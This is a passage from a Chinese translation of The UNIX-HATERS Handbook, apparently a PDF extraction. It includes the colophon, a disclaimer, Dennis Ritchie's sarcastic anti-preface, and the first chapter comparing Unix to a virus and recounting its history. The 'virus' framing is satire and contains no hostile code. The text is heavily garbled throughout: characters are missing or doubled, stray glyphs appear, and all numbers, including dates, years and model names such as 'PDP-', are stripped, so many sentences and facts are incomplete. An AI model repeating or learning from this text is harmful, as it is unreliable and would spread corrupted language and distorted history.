照 看 整 个 目 , 艾 米 核 佩 德 森森 <br />
负 体 的 出 版 事 。<br />
UNIX 痛 者 封封 的 作 者 是 Stock Illustration Source 的 肯 核 科 菲 尔尔<br />
。<br />
版 式 说 明捍<br />
这 书 的 大 部 分 内 容 使 用 罗 马 字 体 , 而 来 自 “UNIX 痛 者 ” 的 恐 怖 故<br />
事 使 用 无 衬衬 线 字 体 。 命 用 粗 体 表表 示 , 对 Unix 系 能 使 用 斜 体 。<br />
<br />
译 注 Beth Rosenberg。<br />
<br />
译 注 Dan Ruby。<br />
<br />
译 注 Alexander Shulgin。<br />
<br />
译 注 Miriam Tucker。<br />
<br />
译 注 David Weise。<br />
<br />
译 注 Laura Yedwab。<br />
<br />
译 注 Regina C. Brown。<br />
<br />
译 注 Michael Cohen。<br />
<br />
译 注 Michael Ernst。<br />
<br />
译 注 Dave Hitz。<br />
<br />
译 注 Reuven Lerner。<br />
<br />
译 注 Eric Raymond。<br />
<br />
译 注 Paul Rubin。<br />
<br />
译 注 Cliff Stoll。<br />
<br />
译 注 Len Tower Jr.。<br />
<br />
译 注 Andy Watson。<br />
<br />
译 注 Matthew Wagner。<br />
<br />
译 注 Christopher Williams。<br />
<br />
译 注 Trudy Neuhaus。<br />
<br />
译 注 Amy Pedersen。<br />
<br />
译 注 Ken Copfelt。
· xxvii·<br />
计 算 机 的 输 出 是 等 字 体 , 中 用 户户 输 入 的 部 分 是 等 粗 体 。<br />
仅 而 已 。 这 不 是 一 用 了 十十 种 字 体 五 种 风 格 , 既 难 读 又 晦 涩 的 计 算 机<br />
手手 册 。 我 们 痛 把把 手手 册 搞搞 得 和 法 老 王 的 秘秘 藏 一 五 光 十十 色 。<br />
书 的 排排 版 是 在 麦 金 塔 、Windows 和 NeXTstation FrameMaker 完 成<br />
的 , 并 使 用 troff、eqn、pic、tbl、yuc、ick, 或或 任 何 别 的 Unix 白 痴 组 词 。<br />
“UNIX 痛 恨 者 ” 免 责 声 明捍<br />
在 这 个 , 邪 恶 大 的 争 钱 是 无 孔 不 入 的 件 专 利 , 而 不 是 无<br />
挑挑 剔 的 件 品 , 这 些 家 在 起 无 辜 的 大 学 时 毫毫 无 心 理 障 碍 。 因 有 些<br />
事 情 我 们 最 好 先 挑挑 明 了 , 免 得 哪 某 个 闲 得 无 事 的 律 师 打 门 来 <br />
• 这 些 偶 尔尔 确 允 程程 序 员 修 复 臭 虫 , 而 不 是 请 专 利 , 所 在<br />
特 厂厂 商 的 特 Unix 版 , 书 中 某 些 相 对 浅 显 的 题 不 一 存<br />
在 。 不 过 这 于 事 无 补补 , 因 时 引 入 的 新 臭 虫 大 概概 要 超 过 一 打 。 如 果<br />
你 能 证 明 某 个 尚尚 在 使 用 的 Unix 版 是 清 白 的 , 那 么 我 们 将将 及 时 道 歉 。<br />
• 尽 管 我 们 尽 小小 心 , 但 述 误 差 还 是 难 免 , 所 除 非 在 手手 边 的 Unix <br />
现 验 证 过 , 不 要 想 当 然 地 采 信 书 中 于 某 个 特 缺 陷 的 法 。<br />
• Unix 痛 者 到 处 都 是 。 我 们 栖 身 于 大 学 和 , 我 们 的 线 人 着 收<br />
冏 死 人 的 电 子 报 告 。 有 些 证 据据 需 要 经 过 前 的 调 查 段 来 获 得 ,<br />
就就 像 那 份 计 算 出 “ 如 果 把把 气 罐 留 在 原原 地 , 那 么 每 节 省 千千 五 百
· xxviii· 目 录<br />
万 美 , 而 价 仅 仅 是 人 命 ” 的 备 录 。 但 我 们 不 用 这 么 力<br />
就就 已 经 拿 到 了 需 要 的 备 录 , 及 更 多 料 。<br />
<br />
译 注 大 概概 是 指指 和 印 度 博博 帕 尔尔 毒 气 泄泄 露 惨 案 有 的 联 碳 化 ( 印 度 ) 备 录 。
· xxix·
序 言 ( 反 调 )<br />
尼 斯 · 里 奇<br />
来 自 dmr@plan.research.att.com<br />
期 Tue, Mar :: EST<br />
题 唱 反 调 的 序 言言<br />
致 书 的 献 者 们 <br />
看 完 你 们 的 序 言言 , 我 真 是 忍 不 要 我 还 就就 认 你 们 对 现 不 满 而 心 妒<br />
忌 , 我 就就 认 你 们 心 存 浪 漫 的 回 忆 而 你 们 柔 情 回 眸 的 系 (TOPS-、ITS、<br />
Multics、Lisp 机 、Cendar/Mesa, 还 有 剑 鱼 ) 不 仅 已 被被 埋 葬 , 而 且 都 沤沤<br />
成 Unix 的 花 肥 了 。<br />
你 们 的 判 断 并 不 清 醒 , 你 们 的 比 方 把把 自 己 都 绕 去去 了 。 看 看 吧 , 在 前 言言 中 你<br />
们 先 是 被被 高 温 、 虱 子 和 营 不 折折 磨 , 然 成 拉拉 格 的 囚 徒 在 第 一 你<br />
们 又 是 被被 病 毒 感 染 , 又 是 被被 毒 瘾 折折 磨 , 还 被被 基 因 的 自 我 膨 冲 昏 头 脑 。<br />
然 而 你 们 声 声 没没 有 一 致 计 的 狱 却 仍 然 囚 禁 着 你 们 , 如 果 狱 缺<br />
牢 固 的 支 撑 , 这 又 怎 么 做 得 到 ? 所 谓 理 智 的 囚 徒 探探 索 狱 的 薄 弱 环 节 , 从<br />
混 乱 中 整 理 出 头 绪 与 相 反 , 自 件 基 金 这 的 组 却 站 在 狱 卒 一<br />
边 , 新 建 的 牢 房 尽 管 能 翻 新 , 但 却 和 已 有 的 计 几 相 容 。 那 个 在 MIT 读<br />
了 个 科 的 者 、 那 微 的 研 究 员 , 还 有 苹 果 的 资 深 科 学 家 , 你 们 不 妨<br />
献 一 点 文 字 , 写 写 到 哪 些 规 被被 这 些 新 狱 沿 用 了 。<br />
你 们 对 能 性 的 探探 索 纯 粹 是 兜 售 私 有 时 候 你 们 想 要 的 东 西 和 手手 的 一<br />
, 但 希 望 是 自 己 做 出 来 的 有 时 候 你 们 想 要 的 东 西 和 手手 的 不 一 , 但 却<br />
无 法 服 别 人 使 用 。 大 家 不 禁 怪 了 , 你 们 何 还 要 徒 舌 , 直 接接 告 人<br />
们 买 Windows PC 或或 者 麦 金 塔 不 就就 得 了 盒 盒 那 既 不 是 拉拉 格 没没 有 虱 子 ,<br />
是 心 智 水水 和 交 流 方 式 都 跟 《 刺 索 尼 克 》 一 的 来 世 界 。 你 们 称<br />
追 求 , 但 做 到 的 基 是 大 发发 牢 骚 。<br />
<br />
译 注 Sonic the Hedgehog, 世 嘉 于 推 出 的 电 子 游 戏 。<br />
xxxi
· xxxii· 目 录<br />
我 打 个 比 方 你 们 的 书 好 比 一 块 布 丁 , 馅 料 就就 是 致 入 微 的 观 察察 , 中 <br />
多 着 人 信 服 盒 盒 然 而 就就 算 是 大 便 , 有 消 化 的 食 物 残 渣 让 某<br />
些 生 物 过 活 盒 盒 所 你 们 的 书 并 不 因 散 发发 着 熏 的 蔑 视 和 妒 忌 。<br />
祝 你 们 吃 得 香 !
· ·
第 一 部 分 对 用 户 友 好 ?
第 章<br />
UNIX, 第 一 种 病 毒<br />
世 界 第 一 种 计 算 机捼 病 毒<br />
“ 伯 克 利 两 最 著 的 品 是 LSD 和 Unix, 我 看 这 不 是 。”<br />
盒 盒 匿匿 <br />
病 毒 有 两 个 争 势 微 小小 的 个 体 和 无 比 的 力 。 病 毒 结 构 简 单 没没<br />
有 任 何 行 呼 吸 、 新 陈 谢 和 体 活 的 机 能 , 仅 携携 带 足 够 的 DNA 或或 RNA<br />
供 自 我 复 制 。 比 如 , 流 感 病 毒 相 比 到 入 侵 的 胞 要 小小 得 多 , 但 大 约 每 隔 一<br />
个 流 行 季 就就 能 生 新 种 有 时 候 毒 性 增 强 , 在 人 类 免 疫 系 反 前 大<br />
开 杀 戒 而 大 多 数 时 候 是 带 来 轻 微 不 盒 盒 在 所 难 免 , 又 无 处 不 在 。<br />
一 个 好 的 病 毒 有 特 点 <br />
• 个 体 微 小小<br />
病 毒 做 的 事 情 不 多 , 所 不 需 要 很 大 。 有 人 疑 病 毒 不 是 生 物 , 而 <br />
是 一 些 有 破 性 的 酸 和 蛋 白 。<br />
• 广 泛 <br />
一 种 病 毒 入 侵 多 种 不 的 胞 , 经 过 少少 还 能 扩扩 大 目 标 范 围 。<br />
物 和 灵 长 目 的 病 毒 经 常 在 攻 击 人 类 。 有 证 据据 表表 明 , 艾 滋 病 病<br />
毒 就就 是 起 源 于 猿 猴 身 。<br />
• 霸 占 资 源<br />
要 不 是 提 供 避 难 所 和 繁 衍 所 需 的 能 , 病 毒 必 死 无 疑 。<br />
• 快 <br />
病 毒 频 繁 地 成 多 不 的 形 。 这 些 形 在 结 构 大 体 相 , 但<br />
区 别 处 又 足 惑 的 免 疫 系 。<br />
<br />
译 注 麦 角 酸 二 乙 酰 胺 , 一 种 强 烈 的 致 剂 。
· · UNIX, 第 一 种 病 毒<br />
Unix 有 成 病 毒 的 所 有 特 点 。 在 生 时 ,Unix 很 袖袖 珍 没没 什 么 <br />
能 , 最 小小 化 才 是 至 高 无 的 计 决 策 。 于 缺 少少 真 操 作 系 的 特 性 ( 如<br />
文 件 映 射射 、 快 I/O、 健 壮 的 文 件 系 、 录 / 文 件 / 备 锁 、 理 的 程程 间 通<br />
, 诸 如 类 不 一 而 足 ),Unix 很 容 易 移移 植植 ─睜─睜 能 更 齐 全 的 操 作 系 在 这<br />
方 总 要 差 些 。Unix 依 机 () 的 资 源 过 活 要 是 没没 有 系 管 理 员 的<br />
悉 心 呵 护 ,Unix 将将 恐 慌 、 吐 , 直 至 挂 掉 。Unix 不 断 拼 拼 凑 凑 的 硬<br />
件 和 叠 叠 的 补补 丁 运 行 某 个 版 , 遇 到 一 个 版 就就 歇 菜 。 如 果 “ 仙<br />
女 座 病 原原 ” [] 是 一 种 件 , 那 大 概概 就就 是 Unix。<br />
Unix 就就 是 有 用 户户 界 的 计 算 机 病 毒 。<br />
瘟 疫 的 由 来掆<br />
Unix 瘟 疫 发发 端 于 , 那 时 候 美 国 电 报 电 (AT&T)、 通 用<br />
电 和 麻 省 理 大 学 着 手手 开 发发 一 种 新 的 计 算 机 系 , 称 “ 信 息 <br />
”。 在 国 部 高 级 研 究 计 划 署 ( 那 时 候 的 缩 写 还 是 ARPA ) 的 大 力 赞 ,<br />
当 时 的 想 法 是 把把 计 算 机 系 做 得 和 发发 电 厂厂 一 向 广 大 民民 提 供 源 源<br />
不 断 的 计 算 资 源 。 这 种 信 息 将将 配 置 冗 余 的 处 理 、 内 存 模 块 和 I/O 备 ,<br />
当 维 护 中 一 个 部 件 时 , 余 部 件 能 继 续 作 。 这 个 系 被被 计 拥拥 有 最 高<br />
级 别 的 计 算 机 全 性 , 所 一 个 用 户户 的 作 不 影 响 别 人 。 目 标 甚 至 体<br />
现 在 系 命 当 中 Multics, 这 是 “ 多 信 息 和 计 算 系 ” 的 缩 写 。<br />
Multics 的 设 计 目 标採 是 大 批批 数 据据 、 供 不 用 户户 时 使 用 、 帮 用<br />
户户 彼 通 信 , 还 保 护 用 户户 免 遭 外 来 攻 击 。Multics 是 按按 照 计 坦 克 的 方 式 编<br />
写 的 , 而 使 用 起 来 就就 和 在 坦 克 差 不 多 。<br />
从 最 的 结 果 看 ,Multics 目 的 确 现 了 所 有 目 标 。 但 在 ,<br />
目 展展 缓 慢 ,AT&T 缩 不 前 撤撤 出 参参 与 者 , 象 征 性 地 保 留 了 研 究<br />
员 盒 盒 肯 核 汤汤 逊 、 尼 斯 核 和 约 瑟 核 奥 萨 纳 。 汤汤 逊 想 服 管 理<br />
层 购 买 一 DEC 的 System ( 一 种 强 大 的 时 分 操 作 系 , 配 有 复 杂 的 交 互<br />
式 操 作 系 ), 但 没没 有 成 , 于 是 他 和 朋 友 们 都 不 了 , 开 始 在 一 验 <br />
闲 置 的 PDP- 计 算 机 编 写 ( 并 运 行 ) 一 个 做 “ 星 旅 行 ” 的 游 戏 。<br />
最 初 , 汤汤 逊 在 贝 尔尔 验 的 GE 交 叉 编 译 星 旅 行 的 程程 序 , 然 <br />
<br />
译 注 core dump。<br />
<br />
译 注 Information Utility。<br />
<br />
译 注 ARPA(Advanced Research Projects Agency) 在 更 DARPA(Defense Advanced Research<br />
Projects Agency)。<br />
<br />
译 注 MULTiplexed Information and Computer System。<br />
<br />
译 注 Joseph Ossanna, 贝 尔尔 验 成 员 ,Unix 版 troff 的 作 者 。
瘟 疫 的 由 来掆 · ·<br />
在 PDP- 运 行 。 但 是 情 况 很 快 发发 生 了 化 盒 盒 汤汤 逊 认 到 , 虽 然 GE<br />
有 逸 的 环 境 , 但 是 星 旅 行 开 发发 得 很 慢 , 还 不 如 先 给 PDP- 编 写 一 个 操 作<br />
系 盒 盒 于 是 就就 PDP- 编 写 了 汇汇 编 、 文 件 系 和 最 小小 的 操 作 系 内 。<br />
都 是 了 玩 星 旅 行 ,Unix 生 了 。<br />
和 开 发发 生 物 (ARAP 时 赞 的 一 个 目 ) 的 科 学 家 们 一 ,<br />
期 Unix 研 究 者 们 对 行 没没 有 分 认 但 是 和 那 些 科 学 家 不 , 肯 核 汤汤<br />
逊 和 尼 斯 核 都 没没 有 穿穿 护 服 。 事 , 他 们 不 仅 没没 有 阻 Unix 的<br />
传 染 , 反 而 推 波 澜 。 汤汤 逊 和 伴 们 真 烂 漫 地 写 了 几 页 所 谓 文 档 的 纸 ,<br />
然 就就 把 Unix 给 挤 了 。<br />
最 初 ,Unix 的 传 染 范 围 局 限 于 贝 尔尔 验 的 几 个 作 组 。 当 时 验 的<br />
专 利 需 要 一 个 文 处 理 系 。 他 们 购 买 了 一 PDP-/( 这 时 Unix<br />
就就 已 经 并 感 染 了 第 二 个 ) 然 成 第 一 个 自 愿 的 牺 牲 品 。 到 <br />
,Unix 已 经 感 染 了 验 内 种 不 的 系 , 了 提 供 内 部 支 持 ,AT&T<br />
不 得 不 成 立立 Unix Systems Group。 伦 比 亚 大 学 的 研 究 者 Unix , 联 系<br />
想 要 一 份 拷拷 贝 。 就就 这 , 趁 着 所 有 人 都 还 稀稀 糊 涂 的 时 候 ,Unix 从<br />
验 溜 走 了 。<br />
某 些 文 献 声 称 Unix 的 成 源 于 技 术 的 越 性 , 这 简 直 大 错 特 错 。 和<br />
争 对 手手 相 比 ,Unix 长 于 进 化 而 不 是 长 于 技 术捻 。Unix 在 商 业 成 是 因 <br />
它 是 一 种 病 毒 。 它 唯 一 的 化 势 在 于 身 材 小小 、 计 简 单 及 而 来 的<br />
容 易 移移 植植 。 至 于 来 Unix 开 始 流 行 并 且 得 商 业 成 , 是 因 它 身 于 <br />
种 极 成 的 机 PDP-、VAX, 还 有 Sun 作 站 ( Sun 品 是 被被 设<br />
计 成 病 毒 携携 带 者 的 )。<br />
如 一 DEC 员 写 到 <br />
来 自 CLOSET::E::PETER -SEP- ::.<br />
发发 给 closet::t_parmenter<br />
题 Unix<br />
前 销 售 Lisp 机 时 , 常 常 有 人 起 Unix。 在 这 种 情 况 , 如 果 发发 的 不 是 个 双 性 人 的<br />
, 我 通 常 把把 Unix 比 作 生 殖 疱 疹 盒 盒 很 多 人 染 , 没没 人 想 染 , 染 了 愁 眉 苦 脸 ,<br />
千千 方 百 计 想 治治 。 通 常 的 效 果 是 大 家 哈 哈 一 笑 , 点 点 头 , 然 点 别 的 。<br />
在 那 个 时 期 ( 到 初 ) 立立 或或 者 已 经 存 在 的 至 少少 <br />
家 商 业 作 站 制 商 当 中 , 有 区 区 几 个 盒 盒 Digital、Apollo、Symbolics 和<br />
惠 盒 盒 抵抵 制 了 Unix。 到 ,Symbolics 请 破 保 护 , 而 Apollo 已<br />
经 被被 ( 惠 ) 收 购 。 再 到 如 今 , 剩 的 两 家 都 成 Unix 死 忠 。
· · UNIX, 第 一 种 病 毒<br />
随 机捼 遗 传 物 质 的 积 累<br />
生 物 染 色 体 积 累 一 些 随 机 遗 传 物 这 些 物 很 容 易 偶 然 被被 复 制 并<br />
遗 传 给 一 。 有 朝 一 人 类 基 因 组 绘 制 完 成 , 我 们 能 发发 现 中 有 一<br />
小小 部 分 属属 于 常 人 类 , 剩 的 属属 于 、 新 种 人 、 电 视 传 道 人 和 电<br />
脑 商 人 。<br />
的 事 情 发发 生 在 Unix 身 。 尽 管 一 开 始 很 袖袖 珍 , 但 Unix 飞 快 地<br />
积 累 了 各 种 垃 圾 基 因 。 例 如 , 几 每 个 Unix 版 都 包 括括 了 Linotronic 或或 者<br />
Imagen 排排 字 机 的 驱 , 但 几 没没 有 哪 个 用 户户 知 道 这 些 机 长 什 么 。 奥 林 核<br />
席 瓦 斯 注 意 到 , 今 Unix 不 再 承 原原 先 的 化 压 力 , 但 血血 已 经 混 乱 不<br />
堪 。<br />
期 Wed, Apr :: EDT<br />
来 自 奥 林 核 席 瓦 斯 <br />
发发 给 UNIX 痛 者<br />
题 Unix 的 化<br />
有 人 曾 告 我 一 些 故 事 , 有 自 起 源 于 贝 尔尔 验 来 Unix 的 广 义 化 ( 这 个 词 我 用<br />
得 不 严 密 ), 而 我 觉 得 概概 括括 如 。 在 PDP- 时 ,Unix 程程 序 的 计 规 是 <br />
. 程程 序 不 必 好 用 , 甚 至 不 必 确 ,<br />
但 是 <br />
. 必 很 小小 。<br />
计 件 包 或或 者 别 的 什 么 是 这 。<br />
当 然 , 随 着 时 间 流 , 计 算 机 硬 件 逐 渐 得 强 大 处 理 频 率 提 高 、 地 址 空空 间 从 扩扩<br />
展展 成 、 内 存 便 了 , 等 等 等 等 。<br />
所 , 现 在 已 经 没没 人 再 理 规 了 。<br />
在 Unix 像 病 毒 一 传 播播 的 过 程程 中 , 这 些 累 积 的 基 因 物 持 续 。 追<br />
究 这 些 基 因 是 如 何 成 现 在 这 个 子 毫毫 无 意 义 它 们 被被 忠 地 从 一 Unix<br />
复 制 到 又 一 Unix, 但 是 第 二 或或 者 第 表表 亲 却 长 相 迥 , 好 比 伍 迪 核 艾<br />
伦 于 迈 克 尔尔 核 乔 。 有 好 几 书 都 提 到 这 个 现 象 。 例 如 在 一 于 网 <br />
互 的 好 书 《TCP/IP 网 互 联 》 [] 中 ,. 节 “ 路 信 息 协 (RIP)”,<br />
页 , 道 格 拉拉 斯 核 科 莫<br />
<br />
就就 描 述 了 劣 基 因 如 何 在 Unix 网 码 中 存 活 并 <br />
( 第 段 )<br />
尽 管 在 父 辈 修 修 补补 补补 , 但 RIP 作 一 种 内 部 网 协 (IGP) 得 流 行 并 非 因 <br />
技 术 价 值 , 而 是 因 伯 克 利 在 发发 布 流 行 的 .X BSD Unix 时 包 了 routed 程程 序 。 这 一 来 ,<br />
多 网 站 点 选 择 并 装装 了 routed, 然 开 始 使 用 RIP, 却 压 没没 有 考 虑 过 技 术 价 值 或或<br />
者 局 限 。<br />
<br />
译 注 《 新 种 人 》 是 漫 画 《X 战战 警 》 的 一 个 衍 生 系 列 。<br />
<br />
译 注 Douglas Comer。
性 爱 、 毒 品 和 Unix · ·<br />
接接 来 的 一 段 继 续 写 到 <br />
于 RIP 有 一 个 最 惊 悚 的 事 现 和 广 泛 传 播播 都 是 在 没没 有 式 标 准 的 情 况 发发 生<br />
的 。 大 多 数 码 脱 胎 于 伯 克 利 , 但 程程 序 员 对 文 档 外 的 枝 节 理 解解 得 参参 差 不 齐 , 因 互<br />
操 作 很 成 题 。 每 当 新 的 版 出 现 , 新 的 题 随 而 来 。<br />
Unix 的 特 既 混 杂 又 过 时 , 就就 像 经 电 跨 越 数 十十 的 歌 单 。 这 有<br />
冲 撞撞 队<br />
<br />
时 的 图 形 界 , 披披 头 士<br />
<br />
时 的 两 字 母 命 , 系 程程 序 ( 例 如<br />
ps) 的 输 出 惜 字 如 金 将将 就就 电 传 打 字 机 , 核 克 罗 斯 比<br />
<br />
时 的 命 编<br />
辑 风 格 (# 和 @ 仍 然 是 缺 省 的 行 编 辑 命 ), 及 斯 科 特 核 乔 林<br />
<br />
时 的 <br />
程程 吐 。<br />
还 有 人 注 意 到 Unix 比 对 手手 更 善 于 化 , 技 术 善 陈 。 在 《“ 差<br />
一 点 才 更 好 ” 思 想 的 起 》 一 文 中 , 理 查 德 核 伽 白 列<br />
<br />
详 阐 述 了 这 个 题<br />
( 见 录 C), 点 是 , 在 Unix 计 哲 学 的 要 求 , 所 有 计 决 策 都 过<br />
度 考 虑 “ 现 简 单 ”, 而 对 确 性 、 一 致 性 和 完 整 性 一 笔 带 过 , 伽 白 列 称<br />
呼 这 种 哲 学 “ 差 一 点 才 更 好 ”, 并 展展 示 了 编 程程 如 何 影 响 ─睜─睜 和 那 些 <br />
确 性 和 一 致 性 首 要 的 程程 序 相 比 , 如 计 在 技 术 居居 于 劣 势 , 但 却 于<br />
容 易 移移 植植 而 擅挛 于 进 化 ─睜─睜 真 像 病 毒 。 病 毒 谈 不 端 庄 , 但 就就 是 很 成 。<br />
事 , 不 哪 种 病 毒 就就 要 你 的 命 。<br />
相 当 人 鼓 舞 的 想 法 。<br />
性 爱 、 毒 品 和 Unix <br />
除 了 像 病 毒 一 传 播播 , 于 Unix 的 右 逢 源 还 有 一 个 比 喻 计 师 的<br />
毒 品 。<br />
AT&T 就就 象 毒 , 在 把把 Unix 免 给 各 个 大 学 试 用 。 研 究 员<br />
和 学 生 觉 得 Unix 比 别 的 操 作 系 更 让 人 飘 飘 欲 仙 不 花 钱 、 调 整 、 运<br />
行 的 机 不 贵 。 从 这 些 人 的 需 求 看 ,Unix 是 他 们 能 够 获 得 的 最 好 的 色 。<br />
至 于 那 些 很 快 临 Unix 争 的 更 好 的 操 作 系 , 要 么 学 校 买 不 起 机 来 运<br />
行 、 不 是 “ 免 的 ”, 要 么 还 在 验 开 发发 。AT&T 通 过 这 种 策 略 , 分 文 不<br />
<br />
译 注 Clash, 英 国 朋 克 摇 滚 队 , 组 建 。<br />
<br />
译 注 Beatles, 英 国 流 行 摇 滚 队 , 组 建 。<br />
<br />
译 注 Bing Crosby( 月 ~ 月 ), 美 国 音 抒 情 歌 手手 。<br />
<br />
译 注 Scott Joplin(/?~ 月 ), 美 国 黑 人 作 曲 家 和 钢 琴 家 。<br />
<br />
译 注 Richard P. Gabriel。<br />
<br />
译 注 《 性 爱 、 毒 品 和 摇 滚 (Sex & Drugs & Rock & Roll)》 是 英 国 歌 手手 伊 核 杜 利 (Ian Dury, <br />
月 ~ 月 ) 于 发发 行 的 单 曲 。 有 讲 述 生 的 英 国 电 影 。
· · UNIX, 第 一 种 病 毒<br />
花 就就 让 一 大 批批 Unix 黑 新 鲜 出 炉 , 就就 算 不 至 于 和 Unix 发发 生 化 学 反 , 他 们<br />
已 经 生 了 心 理 依 赖 。<br />
当 摩摩 托托 罗 拉拉 微 处 理 市 , 一 批批 作 站 厂厂 商 运 而 生 , 中<br />
几 都 是 操 作 系 的 门 外 汉汉 。 到 来 这 些 厂厂 商 差 不 多 都 采 用 了 Unix, 既 因<br />
Unix 容 易 移移 植植 , 因 如 才 能 通 过 物 美 价 廉 的 Unix 黑 获 得 补补 丁 。 这<br />
些 黑 能 够 把把 Unix 拼 凑 ( 有 时 候 称 作 “ 移移 植植 ”) 到 各 种 。 对 作 站<br />
生 商 而 言言 ,Unix 是 经 济 的 选 择 。<br />
用 户户 想 要 布 满 缺 陷 的 操 作 系 吗 ? 不 能 。 用 户户 想 要 件 目 <br />
憎 的 操 作 系 吗 ? 能 性 很 小小 。 用 户户 想 要 命 补补 全 都 没没 有 的 操 作 系 吗 ?<br />
不 要 。 用 户户 真 的 想 要 界 既 恐 怖 又 危 险 的 操 作 系 吗 ? 别 想 。 用 户户 想 要 不 支<br />
持 内 存 文 件 映 射射 的 操 作 系 吗 ? 不 要 。 用 户户 想 要 运 行 几 ( 有 时 候 几 小小 时 )<br />
就就 死 机 的 操 作 系 吗 ? 不 要 。 用 户户 想 要 不 支 持 键 输 入 缓 冲 的 操 作 系 吗 ?<br />
真 的 不 要 。 用 户户 想 要 花 最捭 少 的 钱 让 让 编 译 和 链 接接 跑 在 作 站 吗 ? 对<br />
想 要 。 因 前 的 需 求 他 们 愿 意 牺 牲 一 点 。<br />
用 户户 了 , 购 买 Unix 是 因 十十 来 , 他 们 使 用 的 FORTRAN 和 COBOL<br />
开 发发 环 境 简 直 就就 是 “ 茹 毛毛 饮 血血 ”, 而 Unix 就就 要 好 一 些 。 但 是 在 选 择 Unix 的<br />
时 候 , 他 们 浑 然 不 觉 地 忽 略 了 一 个 事 , 经 过 多 的 操 作 系 研 究 , 这 些 <br />
题 解解 决 得 好 得 多 。 没没 系 , 他 们 是 这 考 虑 的 , 反 比 手手 的 家 好<br />
使 。 到 , 据据 DEC 自 己 的 计 , 就就 算 DEC 不 提 供 技 术 支 持 , 美 国<br />
境 内 有 四 分 一 的 VAX 机 运 行 Unix。<br />
Sun 所 成 就就 来 的 地 , 是 因 生 的 作 站 价 格 最 , 而 不<br />
是 性 价 比 最 高 。 运 行 高 品 的 操 作 系 需 要 多 的 计 算 能 力 。 所 Unix 是<br />
一 种 经 济 的 , 而 不 是 技 术 的 选 择 。Sun 把把 Unix 写 商 业 计 划 , 始 人 中<br />
就就 有 熟 练 的 Unix 黑 , 而 至 于 用 户户 嘛 , 自 然 是 一 分 钱 一 分 喽 。<br />
各 行 其 是捔 标採 准<br />
“ 标 准 的 伟 大 处 在 于 供 选 择 的 范 围 非 常 广 阔 。”<br />
盒 盒 葛 蕾 丝 核 莫 核 赫 柏<br />
<br />
自 Unix 开 始 流 行 来 ,“ 标 准 化 ” 作 就就 一 直 在 行 中 。<br />
尽 管 按按 照 通 常 的 观 点 , 中 大 部 分 精 力 都 是 在 撰撰 写 新 闻 稿稿 而 非 编 写 码 , 但<br />
<br />
译 注 Grace Murray Hopper( 月 ~ 月 ), 美 国 计 算 机 科 学 家 , 最 的 程程 序<br />
员 一 , 发发 明 了 世 界 第 一 个 编 译 A-, 并 且 对 COBOL 语 言言 的 生 有 大 影 响 。
各 行 其 是捔 标採 准<br />
· ·<br />
Unix 擘 们 , 比 如 Sun、IBM、 惠 和 DEC, 还 是 在 这 个 基 属属 于 自 找 的 麻<br />
烦 倾 注 了 数 百 万 美 。<br />
什 么 Unix 厂 商 不 喜 欢 标採 准 Unix?<br />
标 准 化 Unix 的 力 来 自 户户 流 失 , 因 这 些 户户 目 睹 了 Unix 版 的 泛<br />
滥 , 发发 现 这 水水 深 , 最 好 买 PC 容 机 运 行 微 Windows 了 事 。<br />
没没 错 , 花 差 不 多 的 钱 是 买 作 站 然 运 行 “ 真 的 ” 操 作 系 ( 他 们<br />
已 经 误 非 Unix 莫 属属 ), 但 这 有 风 险 , 不 买 回 来 的 Unix 风 味 独<br />
特 , 结 果 无 法 支 持 某 个 键 用 。<br />
户户 希 望 Unix 容 还 有 第 二 个 理 他 们 一 相 情 愿 地 相 信 , 容 的 <br />
件 让 硬 件 厂厂 商 争 价 格 和 性 能 , 最 让 作 站 更 便 。<br />
当 然 , 基 于 和 完 全 一 推 的 理 由 , 作 站 厂厂 商 比 如 Sun、IBM、 惠<br />
和 DEC 在 是 不 想 看 到 Unix 版 的 一 。 试 想 如 果 每 Sun、IBM、 惠 <br />
和 DEC 作 站 都 能 运 行 的 件 , 那 么 对 某 个 已 经 诺 购 买 百 万 美 <br />
Sun 品 的 户户 而 言言 , 死 在 一 颗 树 就就 毫毫 无 道 理 了 比 家 才 是 王 道 ,<br />
不 管 惠 还 是 DEC, 哪 家 便 哪 家 。<br />
真 是 有 点 刺 。“ 开 放 系 ” 的 诺 是 户户 转 向 Unix 的 一 个 理 , 他<br />
们 因 替 换 专 有 的 大 型 机 和 小小 型 机 。 但 是 从 事 的 分 析 看 来 , 转 换 到<br />
Unix 不 过 是 搬 到 一 个 新 的 专 有 系 盒 盒 一 个 好 就就 是 专 有 Unix 版 的 系 。<br />
期 Wed, Nov :: PST<br />
来 自 simsong@nextworld.com<br />
发发 给 UNIX 痛 者<br />
题 Unix 的 字<br />
或或 对 大 多 数 人 而 言言 , 多 Unix 版 的 各 色 字 不 是 题 , 但 是 今 NeXTWORLD<br />
的 文 字 编 辑 我 ,AIX 和 A/UX 有 什 么 区 别 。<br />
“AIX 是 IBM 的 Unix,A/UX 是 苹 果 的 Unix。”<br />
“ 有 什 么 区 别 ?” 他 道 。<br />
“ 不 知 道 , 总 都 是 AT&T System V 一 些 不 知 所 云 的 修 改 。 类 似 的 还 有 HP-UX,<br />
System V 惠 的 修 改 。DEC 称 呼 操 作 系 ULTRIXDGUX 是 Data General 的 <br />
品 别 了 Xenix 盒 盒 来 自 SCO。”<br />
至 于 NeXT, 把把 自 己 的 Unix( 就就 是 Mach 内 裹 一 层 脑 残 的 Unix) 版 命 <br />
NEXTSTEP。NEXTSTEP 究 是 什 么 很 难 得 清 楚楚 , 这 不 是 那 个 窗窗 系 吗 ?Objective-C?<br />
那 个 环 境 ?Mach? 还 是 别 的 什 么 ?<br />
<br />
译 注 NeXTWORLD 是 讨 NeXT 计 算 机 、 操 作 系 和 件 的 要 期 刊 , 发发 行 于 至 。<br />
<br />
译 注 AT&T 于 发发 布 的 Unix 版 , 是 最 的 商 业 化 Unix 版 一 , 曾 经 和 BSD Unix 并 列 两 大<br />
Unix 流 派 。<br />
<br />
译 注 建 于 特 拉拉 华 州 , 是 最 的 小小 型 计 算 机 厂厂 商 一 , 被被 EMC 收 购 。
· · UNIX, 第 一 种 病 毒<br />
最 初 多 厂厂 商 希 望 使 用 “Unix” 这 个 字 描 述 品 , 但 是 AT&T 的 律 师<br />
不 意 , 他 们 认 “Unix” 属属 于 某 种 有 价 值 的 注 册 商 标 。 因 供 商 们 选 择<br />
类 似 VENIX 和 ULTRIX 类 的 字 , 免 得 被被 告 法 庭 。<br />
但 是 到 了 今 , 大 多 数 供 商 尽 避 免 使 用 U 开 头 的 单 词 。 倒 不 是 被被<br />
告 怕 了 , 他 们 的 真 意 图 是 区 分 , 区 分 他 们 改 的 新 版 和 余 所 有 仅 仅<br />
满 足 业 标 准 的 版 。<br />
